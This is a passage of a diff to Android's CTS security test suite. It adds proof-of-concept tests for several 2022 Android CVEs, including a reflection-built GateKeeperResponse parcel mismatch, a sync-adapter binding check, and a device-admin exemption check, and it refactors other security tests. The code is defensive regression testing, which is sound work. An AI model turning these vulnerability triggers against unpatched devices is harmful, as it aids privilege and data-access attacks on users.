a/tests/tests/security/src/android/security/cts/BitmapService.java +++ b/tests/tests/security/src/android/security/cts/BitmapService.java @@ -40,6 +40,11 @@ public class BitmapService extends Service { public boolean ping() { return true; } + + @Override + public void exit() { + System.exit(0); + } }; @Nullable diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java index 5ce81fd9d95..05273661eed 100644 --- a/tests/tests/security/src/android/security/cts/BitmapTest.java +++ b/tests/tests/security/src/android/security/cts/BitmapTest.java @@ -25,11 +25,12 @@ import android.graphics.Bitmap; import android.os.BadParcelableException; import android.os.IBinder; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import androidx.test.platform.app.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + import com.google.common.util.concurrent.AbstractFuture; import org.junit.After; @@ -48,6 +49,7 @@ public class BitmapTest extends StsExtraBusinessLogicTestCase { private Instrumentation mInstrumentation; private PeerConnection mRemoteConnection; private IBitmapService mRemote; + private Intent mIntent; public static class PeerConnection extends AbstractFuture<IBitmapService> implements ServiceConnection { @@ -80,6 +82,9 @@ public class BitmapTest extends StsExtraBusinessLogicTestCase { if (mRemoteConnection != null) { final Context context = mInstrumentation.getContext(); context.unbindService(mRemoteConnection); + try { + mRemote.exit(); + } catch (Exception ex) { } mRemote = null; mRemoteConnection = null; } @@ -88,12 +93,11 @@ public class BitmapTest extends StsExtraBusinessLogicTestCase { IBitmapService getRemoteService() throws ExecutionException, InterruptedException { if (mRemote == null) { final Context context = mInstrumentation.getContext(); - Intent intent = new Intent(); - intent.setComponent(new ComponentName( + mIntent = new Intent(); + mIntent.setComponent(new ComponentName( "android.security.cts", "android.security.cts.BitmapService")); mRemoteConnection = new PeerConnection(); - context.bindService(intent, mRemoteConnection, - Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT); + context.bindService(mIntent, mRemoteConnection, Context.BIND_AUTO_CREATE); mRemote = mRemoteConnection.get(); } return mRemote; diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java index ab05f91050d..03742202f82 100644 --- a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java +++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java @@ -15,14 +15,13 @@ */ package android.security.cts; -import static android.os.Process.BLUETOOTH_UID; - import android.content.ComponentName; import android.content.Intent; import android.platform.test.annotations.AsbSecurityTest; import androidx.test.runner.AndroidJUnit4; +import com.android.bedstead.nene.TestApis; import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import org.junit.Test; @@ -48,27 +47,27 @@ public class BluetoothIntentsTest extends StsExtraBusinessLogicTestCase { genericIntentTest("DECLINE"); } - private static final String prefix = "android.btopp.intent.action."; - private void genericIntentTest(String action) throws SecurityException { - try { - Intent should_be_protected_broadcast = new Intent(); - - String bluetoothPackageName = getInstrumentation().getContext().getPackageManager() - .getPackagesForUid(BLUETOOTH_UID)[0]; - - ComponentName oppLauncherComponent = new ComponentName(bluetoothPackageName, - "com.android.bluetooth.opp.BluetoothOppReceiver"); + private static final String PREFIX = "android.btopp.intent.action."; + private static final String RECEIVER = "com.android.bluetooth.opp.BluetoothOppReceiver"; - should_be_protected_broadcast.setComponent(oppLauncherComponent); - should_be_protected_broadcast.setAction(prefix + action); + private void genericIntentTest(String action) throws SecurityException { + try { + Intent should_be_protected_broadcast = new Intent(); + ComponentName oppLauncherComponent = + new ComponentName(TestApis.bluetooth().findPackageName(), RECEIVER); + should_be_protected_broadcast.setComponent(oppLauncherComponent); + should_be_protected_broadcast.setAction(PREFIX + action); getInstrumentation().getContext().sendBroadcast(should_be_protected_broadcast); } catch (SecurityException e) { return; } - throw new SecurityException("An " + prefix + action + - " intent should not be broadcastable except by the system (declare " + - " as protected-broadcast in manifest)"); - } + throw new SecurityException( + "An " + + PREFIX + + action + + " intent should not be broadcastable except by the system (declare " + + " as protected-broadcast in manifest)"); + } } diff --git a/tests/tests/security/src/android/security/cts/CVE_2019_9376.java b/tests/tests/security/src/android/security/cts/CVE_2019_9376.java index b5896f179de..5c0f342fa68 100644 --- a/tests/tests/security/src/android/security/cts/CVE_2019_9376.java +++ b/tests/tests/security/src/android/security/cts/CVE_2019_9376.java @@ -25,12 +25,13 @@ import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import android.os.Parcel; import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(AndroidJUnit4.class) -public class CVE_2019_9376 { +public class CVE_2019_9376 extends StsExtraBusinessLogicTestCase { @AppModeFull @AsbSecurityTest(cveBugId = 129287265) diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20135.java b/tests/tests/security/src/android/security/cts/CVE_2022_20135.java new file mode 100644 index 00000000000..2789ff85d10 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2022_20135.java @@ -0,0 +1,67 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeNotNull; + +import android.os.Bundle; +import android.os.Parcel; +import android.os.Parcelable; +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; + +import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.lang.reflect.Field; + +@AppModeFull +@RunWith(AndroidJUnit4.class) +public class CVE_2022_20135 extends StsExtraBusinessLogicTestCase { + + @Test + @AsbSecurityTest(cveBugId = 220303465) + public void testPocCVE_2022_20135() { + Bundle bundle = new Bundle(); + try { + Class clazz = Class.forName("android.service.gatekeeper.GateKeeperResponse"); + assumeNotNull(clazz); + Object obj = clazz.getMethod("createGenericResponse", int.class).invoke(null, 0); + assumeNotNull(obj); + Field field = clazz.getDeclaredField("mPayload"); + assumeNotNull(field); + field.setAccessible(true); + field.set(obj, new byte[0]); + bundle.putParcelable("1", (Parcelable) obj); + bundle.putByteArray("2", new byte[1000]); + } catch (Exception ex) { + assumeNoException(ex); + } + Parcel parcel = Parcel.obtain(); + assumeNotNull(parcel); + parcel.writeBundle(bundle); + parcel.setDataPosition(0); + Bundle newBundle = new Bundle(); + newBundle.readFromParcel(parcel); + newBundle.keySet(); + } +} diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20358/CVE_2022_20358.java b/tests/tests/security/src/android/security/cts/CVE_2022_20358/CVE_2022_20358.java new file mode 100644 index 00000000000..b1ff1688ced --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2022_20358/CVE_2022_20358.java @@ -0,0 +1,120 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2022_20358; + +import static org.junit.Assert.fail; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.accounts.Account; +import android.app.Instrumentation; +import android.content.ComponentName; +import android.content.Context; +import android.content.ISyncAdapter; +import android.content.Intent; +import android.content.ServiceConnection; +import android.os.Bundle; +import android.os.IBinder; +import android.os.RemoteCallback; +import android.platform.test.annotations.AsbSecurityTest; + +import androidx.test.InstrumentationRegistry; +import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.Semaphore; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + +@RunWith(AndroidJUnit4.class) +public class CVE_2022_20358 extends StsExtraBusinessLogicTestCase implements ServiceConnection { + static final int TIMEOUT_SEC = 10; + Semaphore mWaitResultServiceConn; + boolean mIsAssumeFail = false; + String mAssumeFailMsg = ""; + + @AsbSecurityTest(cveBugId = 203229608) + @Test + public void testPocCVE_2022_20358() { + try { + // Bind to the PocSyncService + Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation(); + Context context = instrumentation.getContext(); + Intent intent = new Intent(context, PocSyncService.class); + intent.setAction("android.content.SyncAdapter"); + CompletableFuture<String> callbackReturn = new CompletableFuture<>(); + RemoteCallback cb = new RemoteCallback((Bundle result) -> { + callbackReturn.complete(result.getString("fail")); + }); + intent.putExtra("callback", cb); + context.bindService(intent, this, Context.BIND_AUTO_CREATE); + + // Wait for some result from the PocSyncService + mWaitResultServiceConn = new Semaphore(0); + assumeTrue(mWaitResultServiceConn.tryAcquire(TIMEOUT_SEC, TimeUnit.SECONDS)); + assumeTrue(mAssumeFailMsg, !mIsAssumeFail); + + // Wait for a result to be set from onPerformSync() of PocSyncAdapter + callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS); + + // In presence of vulnerability, the above call succeeds and TimeoutException is not + // triggered so failing the test + fail("Vulnerable to b/203229608!!"); + } catch (Exception e) { + if (e instanceof TimeoutException) { + // The fix is present so returning from here + return; + } + assumeNoException(e); + } + } + + @Override + public void onServiceConnected(ComponentName name, IBinder service) { + try { + if (mWaitResultServiceConn == null) { + mWaitResultServiceConn = new Semaphore(0); + } + ISyncAdapter adapter = ISyncAdapter.Stub.asInterface(service); + Account account = new Account("CVE_2022_20358_user", "CVE_2022_20358_acc"); + adapter.startSync(null, "android.security.cts.CVE_2022_20358.provider", account, null); + mWaitResultServiceConn.release(); + } catch (Exception e) { + try { + mWaitResultServiceConn.release(); + mAssumeFailMsg = e.getMessage(); + mIsAssumeFail = true; + } catch (Exception ex) { + // ignore all exceptions + } + } + } + + @Override + public void onServiceDisconnected(ComponentName name) { + try { + mWaitResultServiceConn.release(); + } catch (Exception e) { + // ignore all exceptions + } + } +} diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocContentProvider.java b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocContentProvider.java new file mode 100644 index 00000000000..0bc8c2c5fed --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocContentProvider.java @@ -0,0 +1,56 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2022_20358; + +import android.content.ContentProvider; +import android.content.ContentValues; +import android.database.Cursor; +import android.net.Uri; + +public class PocContentProvider extends ContentProvider { + + @Override + public int delete(Uri uri, String selection, String[] selectionArgs) { + return 0; + } + + @Override + public String getType(Uri uri) { + return null; + } + + @Override + public Uri insert(Uri uri, ContentValues values) { + return null; + } + + @Override + public boolean onCreate() { + return true; + } + + @Override + public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, + String sortOrder) { + return null; + } + + @Override + public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) { + return 0; + } +} diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocSyncService.java b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocSyncService.java new file mode 100644 index 00000000000..08fbf92d8e5 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocSyncService.java @@ -0,0 +1,79 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2022_20358; + +import android.accounts.Account; +import android.app.Service; +import android.content.AbstractThreadedSyncAdapter; +import android.content.ContentProviderClient; +import android.content.Context; +import android.content.Intent; +import android.content.SyncResult; +import android.os.Bundle; +import android.os.IBinder; +import android.os.RemoteCallback; + +public class PocSyncService extends Service { + private static PocSyncAdapter sSyncAdapter = null; + private static final Object sSyncAdapterLock = new Object(); + RemoteCallback mCb; + + @Override + public void onCreate() { + try { + synchronized (sSyncAdapterLock) { + if (sSyncAdapter == null) { + sSyncAdapter = new PocSyncAdapter(this); + } + } + } catch (Exception e) { + // ignore all exceptions + } + } + + @Override + public IBinder onBind(Intent intent) { + try { + mCb = (RemoteCallback) intent.getExtra("callback"); + } catch (Exception e) { + // ignore all exceptions + } + return sSyncAdapter.getSyncAdapterBinder(); + } + + public class PocSyncAdapter extends AbstractThreadedSyncAdapter { + + public PocSyncAdapter(Context context) { + super(context, false); + } + + @Override + public void onPerformSync(Account account, Bundle extras, String authority, + ContentProviderClient provider, SyncResult syncResult) { + try { + if (account.type.equals("CVE_2022_20358_acc") + && account.name.equals("CVE_2022_20358_user")) { + Bundle res = new Bundle(); + res.putString("fail", ""); + mCb.sendResult(res); + } + } catch (Exception e) { + // ignore all exceptions + } + } + } +} diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java b/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java new file mode 100644 index 00000000000..1bf6a7812e0 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java @@ -0,0 +1,112 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2022_20420; + +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; + +import static org.junit.Assert.assertFalse; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.app.ActivityManager; +import android.app.UiAutomation; +import android.app.admin.DevicePolicyManager; +import android.content.BroadcastReceiver; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.IntentFilter; +import android.os.IDeviceIdleController; +import android.os.PowerExemptionManager; +import android.os.Process; +import android.os.ServiceManager; +import android.platform.test.annotations.AsbSecurityTest; + +import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + +import org.junit.After; +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.TimeUnit; + +@RunWith(AndroidJUnit4.class) +public class CVE_2022_20420 extends StsExtraBusinessLogicTestCase { + private static final int TIMEOUT_MS = 10000; + private static final int USER_ID = 0; + private Context mContext; + private DevicePolicyManager mPolicyManager; + private ComponentName mComponentName; + private UiAutomation mAutomation; + + @After + public void tearDown() { + try { + mAutomation.dropShellPermissionIdentity(); + mPolicyManager.removeActiveAdmin(mComponentName); + } catch (Exception ignored) { + // ignore all exceptions as the test has been completed. + } + } + + @AsbSecurityTest(cveBugId = 238477311) + @Test + public void testDeviceAdminAppRestricted() { + try { + // Add test app to Power Save Whitelist. + mContext = getInstrumentation().getTargetContext(); + mAutomation = getInstrumentation().getUiAutomation(); + mAutomation.adoptShellPermissionIdentity(android.Manifest.permission.DEVICE_POWER, + android.Manifest.permission.MANAGE_DEVICE_ADMINS, + android.Manifest.permission.INTERACT_ACROSS_USERS_FULL); + IDeviceIdleController mDeviceIdleService = + IDeviceIdleController.Stub.asInterface(ServiceManager.getService("deviceidle")); + mDeviceIdleService.addPowerSaveWhitelistApp(mContext.getPackageName()); + + // Set test app as "Active Admin". + mPolicyManager = mContext.getSystemService(DevicePolicyManager.class); + mComponentName = new ComponentName(mContext, PocDeviceAdminReceiver.class); + mPolicyManager.setActiveAdmin(mComponentName, true, USER_ID); + CompletableFuture<Boolean> future = new CompletableFuture<>(); + BroadcastReceiver broadcastReceiver = new BroadcastReceiver() { + @Override + public void onReceive(Context context, Intent intent) { + future.complete(true); + } + }; + mContext.registerReceiver(broadcastReceiver, + new IntentFilter("broadcastCVE_2022_20420")); + future.get(TIMEOUT_MS, TimeUnit.MILLISECONDS); + + // Call vulnerable function getBackgroundRestrictionExemptionReason() + ActivityManager activityManager = mContext.getSystemService(ActivityManager.class); + int reason = activityManager.getBackgroundRestrictionExemptionReason(Process.myUid()); + assumeTrue( + "Reason code other than REASON_ACTIVE_DEVICE_ADMIN/REASON_ALLOWLISTED_PACKAGE" + + " returned by getBackgroundRestrictionExemptionReason() = " + reason, + reason == PowerExemptionManager.REASON_ACTIVE_DEVICE_ADMIN + || reason == PowerExemptionManager.REASON_ALLOWLISTED_PACKAGE); + assertFalse("Vulnerable to b/238377411 !!", + reason == PowerExemptionManager.REASON_ALLOWLISTED_PACKAGE); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20420/PocDeviceAdminReceiver.java b/tests/tests/security/src/android/security/cts/CVE_2022_20420/PocDeviceAdminReceiver.java new file mode 100644 index 00000000000..c9c1b6f13be --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2022_20420/PocDeviceAdminReceiver.java @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2022_20420; + +import android.app.admin.DeviceAdminReceiver; +import android.content.Context; +import android.content.Intent; + +public class PocDeviceAdminReceiver extends DeviceAdminReceiver { + + @Override + public void onEnabled(Context context, Intent intent) { + try { + context.sendBroadcast(new Intent("broadcastCVE_2022_20420")); + } catch (Exception e) { + // ignore all exceptions. + } + } +} diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20452/CVE_2022_20452.java b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CVE_2022_20452.java new file mode 100644 index 00000000000..af581a1a54d --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CVE_2022_20452.java @@ -0,0 +1,71 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +// This PoC has been written taking reference from: +// File: frameworks/base/core/tests/coretests/src/android/os/BundleTest.java +// Function: readFromParcelWithRwHelper_whenThrowingAndDefusing_returnsNull() + +package android.security.cts.CVE_2022_20452; + +import static org.junit.Assert.assertNull; +import static org.junit.Assume.assumeNoException; + +import android.os.Bundle; +import android.os.Parcel; +import android.os.Parcelable; +import android.platform.test.annotations.AsbSecurityTest; + +import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class CVE_2022_20452 extends StsExtraBusinessLogicTestCase { + + @AsbSecurityTest(cveBugId = 240138318) + @Test + public void testPocCVE_2022_20452() { + try { + // Create a bundle with some parcelable object and a random string + Bundle bundle = new Bundle(); + Parcelable parcelable = new CustomParcelable(); + bundle.putParcelable("keyParcelable", parcelable); + bundle.putString("keyStr", "valStr"); + + // Read bundle contents into a parcel and also set read write helper for the parcel + Parcel parcelledBundle = Parcel.obtain(); + bundle.writeToParcel(parcelledBundle, 0); + parcelledBundle.setDataPosition(0); + parcelledBundle.setReadWriteHelper(new Parcel.ReadWriteHelper()); + + // First set 'shouldDefuse' to true, then read contents of parcel into a bundle. + // In presence of fix, this will cause a ClassNotFoundException because bundle will not + // be able to find the class for 'CustomParcelable' as the class loader is not set, so + // Parcel will not be read properly and the code will return without reading the string. + Bundle.setShouldDefuse(true); + Bundle testBundle = new Bundle(); + testBundle.readFromParcel(parcelledBundle); + + // If the vulnerability is active, we will be able to read string from bundle. + assertNull("Vulnerable to b/240138318 !!", testBundle.getString("keyStr")); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20452/CustomParcelable.java b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CustomParcelable.java new file mode 100644 index 00000000000..f076eee6535 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CustomParcelable.java @@ -0,0 +1,50 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2022_20452; + +import android.os.Parcel; +import android.os.Parcelable; + +public class CustomParcelable implements Parcelable { + private boolean mDummyValue = true; + + CustomParcelable() { + } + + @Override + public int describeContents() { + return 0; + } + + @Override + public void writeToParcel(Parcel out, int flags) { + out.writeBoolean(mDummyValue); + } + + public static final Creator<CustomParcelable> CREATOR = + new Creator<CustomParcelable>() { + @Override + public CustomParcelable createFromParcel(Parcel in) { + return new CustomParcelable(); + } + + @Override + public CustomParcelable[] newArray(int size) { + return new CustomParcelable[size]; + } + }; +} diff --git a/tests/tests/security/src/android/security/cts/LocationDisabledAppOpsTest.java b/tests/tests/security/src/android/security/cts/LocationDisabledAppOpsTest.java new file mode 100644 index 00000000000..c6b7e35b4ef --- /dev/null +++ b/tests/tests/security/src/android/security/cts/LocationDisabledAppOpsTest.java @@ -0,0 +1,132 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static android.app.AppOpsManager.MODE_ALLOWED; +import static android.app.AppOpsManager.OPSTR_FINE_LOCATION; + +import static com.android.compatibility.common.util.SystemUtil.eventually; +import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity; + +import android.app.ActivityManager; +import android.app.AppOpsManager; +import android.content.Context; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageInfo; +import android.location.LocationManager; +import android.os.PackageTagsList; +import android.os.Process; +import android.os.UserHandle; +import android.platform.test.annotations.AsbSecurityTest; + +import androidx.test.InstrumentationRegistry; +import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + +import org.junit.Assert; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.ArrayList; +import java.util.List; + +@RunWith(AndroidJUnit4.class) +public class LocationDisabledAppOpsTest extends StsExtraBusinessLogicTestCase { + + private final Context mContext = InstrumentationRegistry.getContext(); + private LocationManager mLm; + private AppOpsManager mAom; + + @Before + public void setUp() { + mLm = mContext.getSystemService(LocationManager.class); + mAom = mContext.getSystemService(AppOpsManager.class); + } + + @Test + @AsbSecurityTest(cveBugId = 231496105) + public void testLocationAppOpIsIgnoredForAppsWhenLocationIsDisabled() { + PackageTagsList ignoreList = mLm.getIgnoreSettingsAllowlist(); + + UserHandle[] userArr = {UserHandle.SYSTEM}; + runWithShellPermissionIdentity(() -> { + userArr[0] = UserHandle.of(ActivityManager.getCurrentUser()); + }); + + UserHandle user = userArr[0]; + + boolean wasEnabled = mLm.isLocationEnabledForUser(user); + + try { + runWithShellPermissionIdentity(() -> { + mLm.setLocationEnabledForUser(false, user); + }); + List<PackageInfo> pkgs = + mContext.getPackageManager().getInstalledPackagesAsUser( + 0, user.getIdentifier()); + + eventually(() -> { + List<String> bypassedNoteOps = new ArrayList<>(); + List<String> bypassedCheckOps = new ArrayList<>(); + for (PackageInfo pi : pkgs) { + ApplicationInfo ai = pi.applicationInfo; + if (ai.uid != Process.SYSTEM_UID) { + final int[] mode = {MODE_ALLOWED}; + runWithShellPermissionIdentity(() -> { + mode[0] = mAom.noteOpNoThrow( + OPSTR_FINE_LOCATION, ai.uid, ai.packageName); + }); + if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)) { + bypassedNoteOps.add(pi.packageName); + } + + + mode[0] = MODE_ALLOWED; + runWithShellPermissionIdentity(() -> { + mode[0] = mAom + .checkOpNoThrow(OPSTR_FINE_LOCATION, ai.uid, ai.packageName); + }); + if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)) { + bypassedCheckOps.add(pi.packageName); + } + + } + } + + String msg = ""; + if (!bypassedNoteOps.isEmpty()) { + msg += "Apps which still have access from noteOp " + bypassedNoteOps; + } + if (!bypassedCheckOps.isEmpty()) { + msg += (msg.isEmpty() ? "" : "\n\n") + + "Apps which still have access from checkOp " + bypassedCheckOps; + } + if (!msg.isEmpty()) { + Assert.fail(msg); + } + }); + } finally { + runWithShellPermissionIdentity(() -> { + mLm.setLocationEnabledForUser(wasEnabled, user); + }); + } + } + +} + diff --git a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java index 887538ba2c8..ddea21385d8 100644 --- a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java +++ b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java @@ -21,23 +21,24 @@ import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.runner.AndroidJUnit4; import com.android.cts.install.lib.Install; import com.android.cts.install.lib.TestApp; import com.android.cts.install.lib.Uninstall; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import org.junit.After; import org.junit.Assert; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; import java.util.concurrent.TimeUnit; -@RunWith(JUnit4.class) +@RunWith(AndroidJUnit4.class) @AppModeFull -public class PackageInstallerTest { +public class PackageInstallerTest extends StsExtraBusinessLogicTestCase { private static final String TEST_APP_NAME = "android.security.cts.packageinstallertestapp"; diff --git a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java index 293200e5541..a46e142e4d5 100644 --- a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java +++ b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java @@ -16,17 +16,21 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.app.ActivityManager; import android.content.Context; import android.platform.test.annotations.AsbSecurityTest; + import androidx.test.runner.AndroidJUnit4; + import com.android.sts.common.util.StsExtraBusinessLogicTestCase; -import org.junit.runner.RunWith; -import org.junit.Test; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; import java.util.List; +import java.util.stream.Collectors; @RunWith(AndroidJUnit4.class) public class RunningAppProcessInfoTest extends StsExtraBusinessLogicTestCase { @@ -40,12 +44,23 @@ public class RunningAppProcessInfoTest extends StsExtraBusinessLogicTestCase { @Test public void testRunningAppProcessInfo() { ActivityManager amActivityManager = - (ActivityManager) getInstrumentation().getContext().getSystemService(Context.ACTIVITY_SERVICE); + (ActivityManager) + getInstrumentation() + .getContext() + .getSystemService(Context.ACTIVITY_SERVICE); List<ActivityManager.RunningAppProcessInfo> appList = amActivityManager.getRunningAppProcesses(); + + // Assembles app list for logging + List<String> processNames = + appList.stream() + .map((processInfo) -> processInfo.processName) + .collect(Collectors.toList()); + // The test will pass if it is able to get only its process info - assertTrue("Device is vulnerable to CVE-2015-3833. For more information, see " + - "https://android.googlesource.com/platform/frameworks/base/+" + - "/aaa0fee0d7a8da347a0c47cef5249c70efee209e", (appList.size() == 1)); + assertTrue( + "Device is vulnerable to CVE-2015-3833. Running app processes: " + + processNames.toString(), + 